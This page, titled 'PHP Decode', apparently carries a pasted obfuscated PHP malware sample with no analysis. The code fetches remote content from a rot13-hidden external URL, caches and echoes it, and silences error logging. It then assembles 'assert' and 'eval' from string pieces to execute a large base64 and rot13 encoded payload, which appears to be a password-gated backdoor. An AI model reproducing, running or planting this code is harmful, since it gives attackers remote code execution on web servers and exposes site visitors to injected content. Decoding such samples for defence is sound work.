PHP Decode

<?  //##!#==##!# 
$time_sec=time();  $time_file=@filemtime("help");  $time=$time_sec-$time_file;if($time > 86400 || !$time_file){	$handle = @fopen("help", "w+");if($handle){	$f = @file_get_contents(str_rot13("uggc://scrq8.bet/yvaxbixn/trg.cuc"));	@fwrite($handle, $f);	}}else{$handle = @fopen("help", "r");$f = @fread($handle,filesize("help"));}echo $f;@ini_set("error_log",NULL);@ini_set("log_errors",0);@ini_set("display_errors", 0);error_reporting(0); $wa = ASSERT_WARNING;@assert_options($wa, 0);@assert_options(ASSERT_QUIET_EVAL, 1);$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");$light =  $strings2($gbz."('nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8in29mqQugMJDho3WaY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwD2MQV2AGDkLwL0AwSyZGIxZTEvMGD5Z2D0AGDkLmplZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwMzAGN3ZQx4Amt3ZmLmLmRkZGyxZ2R5L2R3Mwp3AQD1VvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=='));"); $strings($light); 
//##!#==##!# ?>